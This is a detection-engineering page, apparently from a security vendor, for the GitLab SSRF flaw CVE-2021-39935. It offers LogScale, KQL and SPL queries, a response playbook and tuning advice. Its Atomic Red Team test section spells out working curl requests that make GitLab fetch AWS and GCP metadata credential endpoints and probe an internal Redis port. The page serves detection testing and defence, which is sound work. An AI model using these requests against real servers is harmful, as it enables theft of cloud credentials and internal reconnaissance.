CVE-2021-39935 CrowdStrike LogScale · LogScale

Detect GitLab SSRF via Import Feature (CVE-2021-39935) in CrowdStrike LogScale

CVE-2021-39935 is a Server-Side Request Forgery (SSRF) vulnerability in GitLab Community and Enterprise Editions. An attacker can abuse GitLab's project import or integration features to cause the server to issue arbitrary HTTP requests to internal network resources, enabling reconnaissance, metadata service access, and potential lateral movement within cloud-hosted or on-premises GitLab deployments. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
#event_simpleName=NetworkConnectIP4
| NetworkRemoteIP in ("169.254.169.254", "100.100.100.200", "127.0.0.1")
  OR (NetworkRemoteIP startswith "10." AND ImageFileName = "/usr/bin/gitlab*")
  OR (NetworkRemoteIP startswith "192.168." AND ImageFileName = "/usr/bin/gitlab*")
| join {#event_simpleName=ProcessRollup2 | ImageFileName=/gitlab/ | fields ProcessStartTime, UserName, CommandLine, ParentProcessId, TargetProcessId} key=[TargetProcessId], field=[ContextProcessId]
| eval ssrf_risk=if(NetworkRemoteIP=="169.254.169.254" OR NetworkRemoteIP=="100.100.100.200", "critical", "high")
| table _time, ComputerName, UserName, ImageFileName, CommandLine, NetworkRemoteIP, NetworkRemotePort, ssrf_risk
| sort by ssrf_risk asc, _time desc
high severity medium confidence

CrowdStrike Falcon query detecting GitLab process-level network connections to internal metadata and RFC-1918 addresses, indicative of SSRF exploitation.

Data Sources

CrowdStrike Falcon EDRProcess telemetryNetwork connection events

Required Tables

NetworkConnectIP4ProcessRollup2

False Positives & Tuning

  • GitLab runner processes legitimately connecting to internal Docker daemon or registry
  • GitLab backup processes accessing internal storage endpoints
  • GitLab Pages serving content from internal network sources in on-premises deployments

Other platforms for CVE-2021-39935


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SSRF via GitLab Project Import URL — Cloud Metadata

    Expected signal: Outbound network connection from GitLab server process to 169.254.169.254:80; HTTP GET request logged in GitLab production.log with import_url parameter containing metadata IP

  2. Test 2SSRF via GitLab Webhook Integration — Internal Host

    Expected signal: Network connection attempt from GitLab process to 192.168.1.1:6379; webhook creation logged in GitLab audit log with attacker-supplied internal URL

  3. Test 3SSRF via GitLab External Issue Tracker Integration — GCP Metadata

    Expected signal: DNS lookup for metadata.google.internal followed by HTTP GET from GitLab server; integration update recorded in GitLab application log


Response Playbook

Triage

  1. Identify the source IP and user account associated with the suspicious GitLab API request and determine whether the account is legitimate or potentially compromised.
  2. Review GitLab application logs (/var/log/gitlab/gitlab-rails/production.log) for requests to /api/v4/projects, /import, or /integrations endpoints containing internal IP addresses or cloud metadata hostnames in parameters.
  3. Check whether the SSRF request successfully received a response by inspecting HTTP response codes and response body sizes — a 200 with non-trivial body size indicates successful metadata exfiltration.
  4. Determine GitLab version and patch level to confirm whether the instance is vulnerable; CVE-2021-39935 affects versions prior to 14.5.2.

Containment

  1. If active exploitation is confirmed, immediately block the source IP at the network perimeter and revoke any API tokens or personal access tokens associated with the requesting account.
  2. Apply egress firewall rules on the GitLab host to deny outbound connections to 169.254.169.254, 100.100.100.200, and all RFC-1918 ranges unless explicitly required by business processes, preventing further SSRF pivot attempts.

Evidence Collection

  1. Collect and preserve GitLab production and API logs from /var/log/gitlab/ including gitlab-rails/production.log, nginx/gitlab_access.log, and sidekiq.log covering the period of suspected activity.
  2. Export cloud provider metadata service access logs (AWS CloudTrail, GCP Audit Logs, Azure Activity Log) to determine whether attacker-controlled SSRF requests successfully retrieved instance metadata, credentials, or IAM token material.

Escalation Criteria

  • !Escalate immediately if the SSRF response included AWS IMDSv1 credentials, GCP service account tokens, or Azure IMDS identity tokens, as these enable direct cloud account compromise.
  • !Escalate if lateral movement from the GitLab host is detected following the SSRF event, or if internal services (Vault, internal APIs, Kubernetes API servers) received unauthorized requests originating from the GitLab server.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >/var/log/gitlab/gitlab-rails/production.log — contains full request parameters including SSRF payload URLs
  • >/var/log/gitlab/nginx/gitlab_access.log — records source IPs and request paths for all HTTP traffic
  • >GitLab database (PostgreSQL) — project import records and webhook configurations may retain attacker-supplied URLs

Tuning Guidance

Start by allowlisting known CI/CD runner IP ranges and internal integration service accounts that legitimately use the GitLab import API. Tune severity downward for requests that do not contain actual RFC-1918 or metadata IP addresses in query parameters. In air-gapped environments where all GitLab traffic is internal, adjust the SSRF indicator regex to exclude the specific RFC-1918 subnets used by legitimate integrations, and focus detection on cloud metadata service IPs only (169.254.169.254, 100.100.100.200). Consider raising confidence to high if your GitLab instance has no legitimate internal import sources.


Hunting Queries

Threat hunt for high-volume or parameter-diverse requests to GitLab API and import endpoints that may indicate automated SSRF scanning or exploitation tooling.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has_any ("nginx", "gitlab", "apache")
| where RequestURL has_any ("/api/v4", "/import", "/integrations", "/hooks")
| where isnotempty(RequestClientApplication)
| summarize count() by SourceIP, RequestClientApplication, bin(TimeGenerated, 1h)
| where count_ > 20
| sort by count_ desc
Hunting — SPL
spl
index=web sourcetype IN ("nginx:access", "access_combined")
| where (uri_path="*/api/v4/*" OR uri_path="*/import*" OR uri_path="*/hooks*")
| stats count dc(uri_query) as unique_params by src_ip, useragent
| where count > 20 OR unique_params > 10
| sort -count

Atomic Red Team Tests

Test 1 SSRF via GitLab Project Import URL — Cloud Metadata
linux

Simulates CVE-2021-39935 exploitation by submitting a project import request with the AWS IMDSv1 metadata URL as the import source, causing GitLab to issue a server-side HTTP request to the metadata endpoint.

Command

bash
curl -s -X POST 'https://<GITLAB_HOST>/api/v4/projects' \
  -H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"name": "ssrf-test", "import_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Cleanup

bash
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>' -H 'PRIVATE-TOKEN: <TEST_TOKEN>'

Expected Telemetry

Outbound network connection from GitLab server process to 169.254.169.254:80; HTTP GET request logged in GitLab production.log with import_url parameter containing metadata IP

Expected Detection

kql and spl queries trigger on the import endpoint request containing 169.254.169.254 in the request parameter

Test 2 SSRF via GitLab Webhook Integration — Internal Host
linux

Exploits the SSRF vector through GitLab project webhook configuration, directing the server to issue a POST request to an internal host to enumerate accessible internal services.

Command

bash
curl -s -X POST 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/hooks' \
  -H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://192.168.1.1:6379", "push_events": true}'

Cleanup

bash
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/hooks/<HOOK_ID>' -H 'PRIVATE-TOKEN: <TEST_TOKEN>'

Expected Telemetry

Network connection attempt from GitLab process to 192.168.1.1:6379; webhook creation logged in GitLab audit log with attacker-supplied internal URL

Expected Detection

chronicle_yaral and crowdstrike_cql rules fire on GitLab process network connection to RFC-1918 address

Test 3 SSRF via GitLab External Issue Tracker Integration — GCP Metadata
linux

Abuses the external issue tracker integration feature to cause GitLab to fetch the GCP instance metadata endpoint, simulating exploitation in a GCP-hosted environment.

Command

bash
curl -s -X PUT 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/integrations/external-wiki' \
  -H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"external_wiki_url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Cleanup

bash
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/integrations/external-wiki' -H 'PRIVATE-TOKEN: <TEST_TOKEN>'

Expected Telemetry

DNS lookup for metadata.google.internal followed by HTTP GET from GitLab server; integration update recorded in GitLab application log

Expected Detection

elastic_eql sequence rule matches on GitLab integration endpoint access followed by outbound connection to metadata.google.internal

Related Detections